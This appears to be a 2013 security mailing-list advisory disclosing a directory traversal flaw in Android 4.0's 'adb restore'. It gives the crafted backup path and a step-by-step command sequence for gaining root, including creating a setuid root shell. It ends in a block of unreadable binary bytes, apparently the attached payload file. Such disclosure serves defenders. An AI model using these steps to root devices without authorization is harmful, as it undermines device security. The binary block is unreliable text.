Android ICS "adb restore" directory traversal vulnerability (resending after bounce) Jun 20 2013 02:39PM
Ariel Berkman (aberkman gmail com)

adb (Android Debug Bridge) backup/restore allows you to backup and
restore applications via adb, including system applications.

The backed up files are stored in tar.zlib (named .ab by default)
files. "adb restore" is vulnerable to a directory traversal attack. By
creating a file named
"apps/com.andoird.settings/db/../../../local.prop" inside the backup
file, the restore operation would restore the file onto
/data/local.prop (rather than
The "apps","com.android.setttings" and "db" directory names are
extracted for determining the package name and the directory
(db=>database) to restore the relevant file onto, and everything that
follows is expected to be the filename.

This vulnerability is not specific to com.android.settings
(demonstrated below), but rather any system application that support
backup and restore.

One can use this vulnerability for escalating privileges to root on
Android phones supporting adb backup/restore (for example) as follows:

# tested on HTC phone with android 4.0.4. This will likely work on
other configurations as well with some modifications.

# backup your settings app, before we overwrite its files.
adb backup -f settings.ab com.android.settings
(select approve to begin backup)

# restore the malformed backup file, which will create
/data/local.prop (with ro.kernel.qemu=1) -- attached to this email.
adb restore special.ab

# restart the phone.

adb shell

# adb should now run as root.
# install SU, or create a setuid root shell somewhere.
# delete /data/local.prop

# the malformed backup file will likely break you settings app, so
expect some oddities until it's all restored.
adb restore settings.app

Bin4ry and later Saurik had used a race condition in "adb restore"
(http://forum.xda-developers.com/showthread.php?t=1886460) to gain
root, while this attack also uses adb restore, it uses a different
attack vector, and does not involve any race conditions.


Recover Information Technologies LTD.
x?íW[n\7 í·W1+?)Q]KA?T4ñ¸¶³ÿ?ë$F&AÒ £yèjDQ|iüîîáÕº¼=ûmÜ_^Çù!_ßþúðê?·~ûz
U*ÄøD³?ad-HÛÚÛ+Q ߣ¸51k»cÌx é±ÔxHe,#¬nTU1Ó:UµVæZ?ùyÆ0ãR·ÕFkPWZâ?!Ù )Ï??! mÙ+FË«ÐkïÇî?Ïòù. mRò?ù2õS2¥AúD??ñí?ü??K¶?§?ÉXW©"þz«Ö??`¤?Ô?fëñ\G=Ly1{ö·EçB
?E0F*ôÇ?'£òÔ3B¼º?bá¢Ð¨Æ+Ò½i®elY¡?V?^¨OìÅ<SQ=Õ}f?ªÐ;<vginA?,è ±î
3fiEê47j«´Y1ëZªË(ÍJ?A ?5û"_?tY¸:©ö?@Ò? FèNnÓ¾öz$~(§#í.V?ÆDíO¶®ÉðjØbwd7?¡ò$#µ?ÚÌ°´pn{x?«c¬ÚÁâ-vÆÄÆSÄIFR÷ÒÆ^k
?¥2àåÚÞJlÐ ¼ ÛXW'b"k¦}?ÞyLü¨°F<hiÝ?%9¦hÀlÏ?£®1]ÚVªä_)!­
 ?¼4sYéO¼X?ß먽?äx]ô?ã­á#²¡?5b¬ée Ý@?õ%HZµ]??UÆ8t¬ñq=@.óñëL£¯×ã p¤?G¿r·p?}î?[³?½q²Õ?À{ùüûÀà
í7ì@o?Tööñhý?, ÙÌi( w?t?¹}v?\¸ ¯Þxí%eG¯Ð¦(.ò$3??{??ó??F*
ðllÆ÷?r¹Ím65Àe$0¾e*T?¿,%kJ?UÄ0µ9mÔ?*¬Qð ?AÀm??eÕ'< m
ë?ë` 1ѵû??X?à&xl2ÔgKK¥poºdðìeÏf?øSmRGTéËf-Ø@jn?:ù?X bcÂz±AlJ?YÍ?¬Ði?pOÌ?4¹?JÄ?£(ɝ
ÿ÷?Ëÿé@lï/Ìÿ ÷ÿûËù·¼¿Í7çßóí»?ùÿÊk»¶k»¶kû§ÛÍô??ô

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus